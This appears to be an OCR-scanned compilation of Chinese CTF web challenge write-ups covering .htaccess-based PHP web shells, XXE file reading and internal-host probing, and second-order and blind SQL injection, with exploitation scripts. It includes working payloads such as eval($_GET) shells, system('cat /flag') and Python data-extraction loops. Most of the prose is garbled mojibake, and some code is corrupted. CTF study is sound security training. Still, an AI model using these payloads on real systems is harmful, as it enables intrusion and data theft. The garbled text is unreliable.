if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("f13g.php");
if(lisset($_GET['content']) || !isset($ GET['filename'])) {
highlight_file(__FILE_ );
die();
}

$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag’
) || stristr($content,'upload') || stristr($content,’'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[*a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
¥
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
¥
¥
¥

file_put_contents($filename, $content . "\nJust one chance");
?>

by

htaccess4: 3

SR 2R b AEhtaccess SO 2 A I B 2500 18] &2, K5 S04 B Just one chance iX BLR A # \ B9J7 R AT /785 SO @
FRE, BT UL RERIERRATT .

FMHAXHaE

KRG FE —Ab include_once("f13g.php"); phpHIEC B LW Ainclude path™] LA K& Einclude k2. EtmpERTHE
fi3g.php, 7E LAilid¥include_path#t B Ntmp 5 Rk 58 R & .

tmpH 5 X4

1. W 7Eds 2 H X B 38 2 X2 S ? php I BC B iR T Ferror_logw] AW BIX— . error_log Rl LA phpizd 17k &5 i
BRI E P

2. Wfaful R IREEIE ? XA AREFE T — A FER3g.phpHIEE . EATAT LUKt include_pathi) i 25 ¥ B ilipayload i)
WA, IXBF U5 U, TR 2R payloadfE A — AN 42 2507 M B B & R AR A 2If3g.php i ikss, 1@ SR A3g.phpF7E, M
2P Finclude_pathBRik %615 iilweb H R A R4 -

3. Hitterror_logl) A A SHNmMIZFLE AL ? XA R ER H, KA 7 4S8RI,



payload:
#F—: Biderror_loght &include_path?Etmp B 34 Fishell
B Autf-74i 5 ifshellcode ] LA ST <?(1id 38, QR HIERIAN: <?php eval($_GET[1]); _ halt_compiler();

Edit Report a Bug

__halt_compiler

(PHP 5 >=51.0, PHP 7)
__halt_compiler — FrlféRiEs8a9H4T

15EH

__halt_compiler ( void ) : void

FRETRIZEEANNT. ERTEPHPHIEASAEUE, HLITHREU,

OILABIT H S __COMPILER_HALT_OFFSET__ ZREEUETHAT DIERWUE, BiZEE(ENTERT
__halt_compilerfg32i4,

php_value error_log /tmp/f1l3g.php

php_value error_reporting 32767

php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
#\

TEAEAE I M5 — X8 ZEHEAT urlgB5 74 7T LARR 2

’filename=.htaccess&content=php_value’%20error_logk20%2ftmp%2ff13g.php%oaphp_value’20error_reporting’2032767%0aph
p_value%20include_path%20%22%2bADw?php%20eval ($ GET[1])%2bADs%20%2bAF8AXw-halt%2bAF8-compiler()%2bADs%22%0a%23%2
0%5¢

#F =5 Yiindex.php® Ferror_log
#E=3. @Bidinclude_pathMutf7 475447 shell
php_value include_path "/tmp"

php_value zend.multibyte 1

php_value zend.script_encoding "UTF-7"
#\

FIEAEN

?filename=.htaccess&content=php_value’%20include_path%20%22/tmp%22%0aphp_value’%20zend.multibyte%201%0aphp_value’2
0zend.script_encoding’%20%22UTF-7%22%0a%23%20%5c



a8 — A SR PAT phpis &

RN ‘ © & ecde150c-9cde-4a61-8a3a-94e5b6128f27.node3 buuocj.cn/?1=phpinfo(; v 22 =
B mEsws EISEME © FEtE [ mIesssems. () (A -SINSs. © 28R @ PTA|EEotEsk. @) me

[17-Apr-2020 02:11:34 UTC] PHP Warning: include_once(fl3g.php): failed to open stream: No such file or director
02:11:34 UTC] PHP Warning: include _once(): Failed opening 'fI3g.php' for inclusion (include path="'

System Linux 8b779e2ee647 4.15.0-96-generic #97-Ubuntu SMP W
Build Date Dec 29 2018 06:50:15
Configure Command *feonfigure' "--build=x86_64-linux-gnu" '--with-config-file-f

scan-dir=/usrflocal/etc/php/conf.d’ --enable-option-checki
enable-mbstring' "--enable-mysglnd" "--with-curl' "--with-lib
libdir=lib/x86_64-linux-gnu' '--with-apxs2' "--disable-cgi’ 'b

Server API Apache 2.0 Handler
Virtual Directory Support disabled

. e -

| EemEETEsR || e=ema) RS0 EESW

O D= Desls OFE NEE (IERREs QOue OrF B & v TESE @ HackBar @y Max Hacl

Encryption ~ Encoding ~ SQL~ XSS~ Other ~

g Load URL http:/fecde150c-9cde-4a61-8a3a-94e5b61 28127 .node3. buuoj.cn/?1=phpinfo();

FiE—iwE fflag

(— - @ © £ 39a-4f88-8340-f44f112ec16a.node3d.buucj.cn/?1=system("cat /flag™); v B8 === 1‘}| IO & h @

Buamerses EIERRt @ HiFxts [ T EREFRIEE. D [ -SEFEEs. © S2R QD PTA | BEEEsk.. &) 4 © Nessus Essentials /Fu Oa=

[13-May-2020 14:56:56 UTC] PHP Warning: include_once(fl3g.php): failed to open stream: No such fi i i i

14:56:56 UTC] PHP Warning: include_once(): Failed opening 'fl3g.php' for inclusion (include_path='flag{15326c41-8053-4a8d-b7b1-26da937f1b4e}
$files = scandir( ./ );
foreach(§files as $file) |

3k 7 390 e

FEONIEN AW S H 2 if(preg_match("/[~a-z\.]/", $filename) == 1) T if(preg_match("/[~a-z\.]/", $filename) !==
0) , AL php_value ¥ & 1E M [E] 3 Uk BOR A 1E W) U AT i) 45 SRR [B] K false T AN O Bk 1, BRINM RSk B 8K, T LAY O,
A2 2k IR B L S5 R R [B] false, @i i B htaccess:

php_value pcre.backtrack_limit ©
php_value pcre.jit @
#\

fEN:
’filename=.htaccess&content=php_value’%20pcre.backtrack_limit%200%0aphp_value’%20pcre.jit%200%0a%23%20%5c
filename B AT 38 53 0 B i 543 11 T stristrit) ) W7 Sc B Getshell, 4filename Jy:

?filename=php://filter/write=convert.base64-decode/resource=.htaccess

X contentsl B Seid stristr, — BUXFHIE T FAFHTIEA T LR gmAg 3 TS, XFERLAEgetshell T



php_value pcre.backtrack_limit 0
php_value auto_append_file ".htaccess”
php_value pcre.jit ©

#aa<?php eval($ GET['a']);?>\

WIXBBAR, PEET. - o

RFEFABHE L TRATHITIRE, FIX BASK T LB SR \ RERSITIE R <8 7R 5 A htaccess

php_value auto_prepend_fi\
le ".htaccess"
#<?php @eval ($_GET['cmd']); 2>\

e A urld i B 745

?filename=.htaccess&content=php_value%20auto_prepend_fi%5c%0ale’20%22.htaccess%22%0a%23%3c%3fphp%20%40eval (%24 G
ET%5b "' cmd ' %5d)%3b%20%3f%3e%5c

Bl AT fEindex L H AT A4 T

&« G @ | © & 3blc-41b5-a565-526c1d9199d2.noded.buuoj.cnf/fcmd=system(’ls [7); ~ 5 +es 1‘,}‘
Hussits EEM @ HFEHE (P WIasssems. () [EH] -Simsas. & S22 @ PTA | SesEas. @ am O

php _value auto_prepend fi\ le ".htaccess” #bin boot dev etch-::-me lib lib64 media mnt opt proc root run shin sr
§files = scandir( ./ ):
foreach(8files as §file) {
if(is_file($file)) {

if ($file !'= “index.php”) {
unlink (§file) ;
}
}
1
&« G @ |® # -41b5-a565-526c1d9199d2.node3.buuoj.cn/?cmd=system('cat /flag’); v B2 +=+ 3

Boamsrmss EEEmE @ Xtk P mlassesms. O IS -SIRgs. © 228 @ rTA | EEatEsh. 64

php_value auto_prepend fi\ le ".htaccess" #flag{c2dc86d2-e243-4300-bfe0-cbe96e3a064f} \ Just one chance
§files = scandir( ./ );:
foreach($files as §file) {
if(is_file(§file)){
if (§file != “index.php”) {

17 1 fEeta

KRR T EAFHE htaccess KAk, EL A (EK T nikqaq)

%% . X-NUCA-ezphpit
[XNUCA2019Qualifier|EasyPHP
XNUCA2019Qualifier/Web/Ezphp/

[NCTF2019]True XML cookbook


https://www.cnblogs.com/tr1ple/p/11439994.html
https://www.cnblogs.com/wangtanzhi/p/12296896.html
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/Ezphp

HR— el E, E LR HAXXERRESENW
SeFfile th BUEEUAH RIS /etc/passwd H1 /etc/hosts
HEATER B hosts LA HIBHE, FATSKIAF JUANipHbt, FATERV A —F (BXENZTUFBERRETHAMT)

Request Response
meTParamIHaadersIHexI)(ML] JFthHaadersIHexI)(ML]
POST JdoLogin php HTTPA 1 A HTTP/M A1 200 OK
Host: b8619674-a00d-4c7h-8216-2034c1 dfE6201 node 3 buuoj.cn » Server: openresty

:F User-Agent: Mozilla/5.0 {Windows NT 10.0; Wing4; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Diate: Fri, 17 Apr 2020 12:19:19 GMT

| Accept: applicationfoml, tesdhonl, **; g=0.01 Content-Type: texthtml, charset=utf-8
Accept-Language: zh-CH zh;g=0.8 zh-TW.g=07 zh-HK;g=0.5 en-US;g=0.3 en;g=0.2 Cortent-Length: 210

:Accept-Encoding: gzip, deflate Connection: close

4 Cortert-Type: application/xml;charset=ut{-8 Yary: Accept-Encoding
¥-Requested-With: XMLHEpReguest ¥-Powered-By: PHP/T 4 ORCE
Content-Length: 175

d Origin: hitp: hEE1 967 4-a00d-4cTh-8216-203421df5201 node3 buuoj.cn <resut<code=0</code><msg=127.0.0.1 localhost
Connection: close =1 localhost ip6-localhost ip6-loopback
Referer: hitp: /861967 4-a00d-4c7h-8216-2034c1 df6201 node 3 buuoj.cn/ feldd:0 ip6-localnet

1 Cookie: _ga=GA1 2202177182 1584773494 ( ffo0::0  ipb-mcastprefix

1 ff02:1  ip6-alinodes

A=7xml version ="1.0" encoding = "utf-8"7= ff02::2  ip6-allrouters
coocTYPE st

=ENTITY file SYSTEM "file: iffetc/hosts"= =imsg==result=
IE
=user==username=&file =lusername==password=1=/password==/user=

VHTH—A, RIS, HRABREXEEN, Bam2RALE, KAEEREmKR— & R Lfag

— L L L L L — L L L L
POST fdoLogin. php HTTPA A & HTTPA .1 200 COK

Host: bE6159674-a00d-4c7h-826-2034c1df6201 node3 buuoj.cn a Server: openresty

User-Agent: Mozillals.0 (NVndows NT 10.0; Wing4; x64; rv.71.0) Gecko/20100101 Firefox/71.0 Date; Fri, 17 Apr 2020 122355 GMT

Accept: applicationfml, texthml, **, g=0.01 Content-Type: texthtml, charset=utf-5

Accept-Language: zh-CN zh;g=0.8 zh-TW,g=0.7 zh-HK; g=0.5 en-US;g=0.3 eng=0.2 Content-Length: 84

Accept-Encoding: gzip, deflate Connection; close

Contert-Type: applicationixml; charset=utf-8 Wary: Accept-Encoding

H-Reguested-With: XMLHtpReguest ¥-Powered-By: PHP/7 4 ORCE

Content-Length; 173

Drigin: hitp: bEE1 967 4-a00d-4c7h-58215-2034c1 dfE201 node3 buucj.cn <result=<code=l</code=<msg>flag{ab3aTd07-726d-408a-88f4- 4992 4b55d 49}/

Connection: close
Referer: http: h5E1 967 4-a00d-4c7h-8216-2034c1dfE201 node3 buuoj.cnid
Cookie: _ga=GA1.2.202177182.1584773494

=7xml version = "1 0" encoding = "utf-8"7=
<IDOCTYPE test [
<ENTITY file SYSTEM "hitp: /M 73.18.144.10"
I=
<user=<username=>&file; </username=<password>1</password></user>

2% . [NCTF2019]True XML cookbook

[ 151 $ 2018]Unfinish

WAREGET , RELBAI—T#E, EbuhE T —EWM. REMEAREKT, RE-FEE, RXEIEERIEK
HAREER, HWAEMRAME, 4 register.php

| € ) c @ © g 745e50fc-02a5-45ba-9072-9431c79f6004.node3.buuoj.cn/register.php B
Bymsses COEERE @ FFErE (P Tasssems. ) S -SFEs. © SEE @ 1A | 2EatEs.

CTF


https://www.cnblogs.com/Wanghaoran-s1mple/p/12427342.html

hitps://bl&5 Bsdn.netbmth666

HNERAE—PMHEKEF(EREF! ), Rt A2 GEEHREE, &ERIAZRIEN.
EMBRT, =783 302 REEIHFBEE E login.php s WREM KK, RLiRE 200 REWE.
f# F username=0'+(select hex(hex(database())))+'®

193 373736353632 , FIRhexfi#iL /5 M web

ZT Rt 2B Rhex, ERABENHFECKT —TF, EFKEMR:

mysgl> select hex{'test’2;

sec

hex{’test’>;

row in set (B.08 sec)

fEH substr BIRBIONERFKES o' N, XIEMASERYIE. BERXEFHES , e, BroAnT RA#EFH M
substr('test' from 1 for 10) XFhEERGT
payload: ©'+(select substr(hex(hex((select * from flag))) from 1 for 10))+'0 (B KEMRE], ¥ aiumEIT)



AUMBREMAHER, ERE, R TIHER A

import requests
import string
import re as r

ch = string.ascii_lowercase+string.digits+'-}'+'{"'

re = requests.session()
url = 'http://745e50fc-02a5-45ba-9072-9431c79f6004.node3.buuoj.cn/"

def register(email,username):
urll = url+'register.php’
data = dict(email = email, username = username,password = 'adsl1234')
html = re.post(urll,data=data)
html.encoding = 'utf-8'
return html

def login(email):
url2 = url+'login.php'
data = dict(email = email,password = 'adsl1234")
html = re.post(url2, data=data)
html.encoding = 'utf-8°'
return html

£o
for j in range(0,17):
payload = "@'~(select substr(hex(hex((select * from flag))) from {} for {}))"'0".format(int(j)*10+1,10)
email = '{}@qq.com'.format(str(j)+'14")
html = register(email,payload)
# print html.text
html = login(email)

try:
res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
flag = res[0][1:].strip()
print flag
f += flag
print f
print f.decode( 'hex"').decode( 'hex")
except:

print "problem"



Pr El_i ect -

RBEER—E 5K, UEEREZLHCERMEANKMALE! | !

Z%. [20184F MEACTF =35 4 H %4-M 5 WriteUp
2018 B #f =IBWEBM id%~~ (ZIRIEN)
[ L HR] 28 —3pweb writeup

[GYCTF2020]Ezsqli

MK ERA L, BwpE—TXE

—

. iId¥ETand orki ¥
2. Ly TIf
3. AEEMinformation_schema
4. A g JEunionfliselect, {8 2 i 1 T union select, unionf:3 Hselectz 2
5. %€ T sys.schema_auto_increment_columns
6. I3 Tjoin
sysHH B IX AR x$schema_flattened keys,schema_table statistics FJLARBRALZER, LR MsysE i HtableEL K

LZEHERGFERABER, PEFEEmysql5.7Ph . FTLMER sys.schema_table statistics_with_buffer BE|FRHZ, FHYIng)H
BRI EERA.


https://www.secpulse.com/archives/74776.html
https://www.freesion.com/article/9082296656/
https://www.jianshu.com/p/3acc7d5dd6be

import requests

from urllib.parse import quote

alphabet L,y tat, b, e, d, e, g, the 1, g, 'k, MY, 'm, e, 0, p Y, g, e, s,
'v','w', 'xt 'y, 2 A, B, e, DY, 'EY R, G, 'Y, T, G, K, L, "M, N, 0, TP, T, TR, ST, U, TV
‘X,'y','z"','e',"1','2",'3','4','5','6"','7"','8"','9"'

url = 'http://48395c2e-e262-4f53-983b-935120efe324.node3.buuoj.cn/"’

target = 'select group_concat(table_name) from sys.schema_table statistics_with_buffer where table_schema=databa
se()’

res = "'

for i in range(1,50
for char in alphabet
payload = '2||ascii(substr(({}),{},1))=\"{}\"''.format(target, i, ord(char
data =
'id"' :payload

r = requests.post(url=url, data=data
text = r.text
# print(text)
if "NulL' in r.text
res += char
print(res
break

chema_table statistics_with_buff

i_|'| hhh
thhhh 1tt og.csdn.net/bmif

BRFAIFEME: flag 1s_h3r3_hhhhh

TR L EFIRFINMER select concat("a", cast(® as json)) P HIR[E @ FRrE, XEAmysqltbB F=4/45 6 KM
BERLOB, BIRATEERE— A asciF b KR AN FRBRE ~ , KRNE £~ BEKT flaghod » e~ BEA

T flag{xxx}

1 FI Smi1 e JTi {5 1) i 4«



# -*- coding:utf8 -*-
import requests

import string
url = "http://48395c2e-e262-4f53-983b-935120efe324.node3.buuoj.cn/"

('0123456789 '+string.ascii_letters+string.punctuation).replace(""'","").replace('""',"") .replace('\\","

= 'select group_concat(table_name) from sys.x$schema_flattened_keys'

for j in range(1,490):

for i in stril:

paylaod = "1/**/8&&/**/(select substr(({}),{},1))="{}"".format(select, j, i)
#print(paylaod)
data = {
'id": paylaod,
¥
r = requests.post(url,data=data)
if 'NulL' in r.text:
flag += i
print(flag)
break

("-0123456789 " '+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").repl

.replace('\\',"")

def expl():
strl =
")
flag = "'
select
def exp2():
strl =
ace('"","")
flag =

flag _table_name = 'flag_1s_h3r3_hhhhh'
for j in range(1,39):

for i in stri:

i = flag+i
paylaod = "1&&((select 1,concat('{}~"',CAST('@' as json))) < (select * from {} limit 1))".format(i,fl

ag_table_name)

#print(paylaod)
data = {

'id': paylaod,
}
r = requests.post(url,data=data)

if 'NulL' not in r.text:

flag=1i
print(flag)
break
if _name__ == ' main__ ":
expl()
exp2()
BT LA F Y1 ng i 8 F ik A

AL B FEF, FOAE B ZEMfor()IE3F, HINF 2 MASCIRS /N B R R ZEFE ELE K, B IERE D, B4 7 HH 3o f B Eb=b i
/EpayloadIKF5, REEHSET —IEH, coblkRHL T, MEKRERE, HILTNuILXET, XN ERTEILRlagiET, EH2I
WX —frfchar e, THE IEKflaghtix —0r B i%&EbA%f, Frblflag += chr(char-1), X#kR N4 7 flag 5 B4 fi W — 6 i JE



import requests
url = 'http://48395c2e-e262-4153-983b-935120efe324.node3.buuoj.cn/"’

def trans(flag
res = "'
for 1 in flag
res += hex(ord(i
res = 'Ox' + res.replace('0x’
return res

flag = "'
for i in range(1,500): #X7EH —EZEX IHflag KETIFEHA T
hexchar = "'
for char in range(32, 126
hexchar = trans(flag+ chr(char
payload = '2||((select 1,{})>(select * from flag_1s_h3r3_hhhhh))'.format(hexchar
data =
'id"' :payload

r = requests.post(url=url, data=data
text = r.text
if "NulL' in r.text

flag += chr(char-1

print(flag

break

sdn.net/lbomit

5%,

L Iin"ISQLE VE

iHFFK2020FT 7 B B W 4 2 4 A 1 FEGYCTF Writeup 28 =K
i—Bibypass information_schema

BB R A 26 F-ezsqli-H B/ME

KE—M, AXPCAEAEIR, KPER, FEERERERwWp, WHEHREEEIE


https://nosec.org/home/detail/3830.html
https://www.gem-love.com/ctf/1782.html
https://www.anquanke.com/post/id/193512
https://www.smi1e.top/%25E6%2596%25B0%25E6%2598%25A5%25E6%2588%2598%25E7%2596%25AB%25E5%2585%25AC%25E7%259B%258A%25E8%25B5%259B-ezsqli-%25E5%2587%25BA%25E9%25A2%2598%25E5%25B0%258F%25E8%25AE%25B0/
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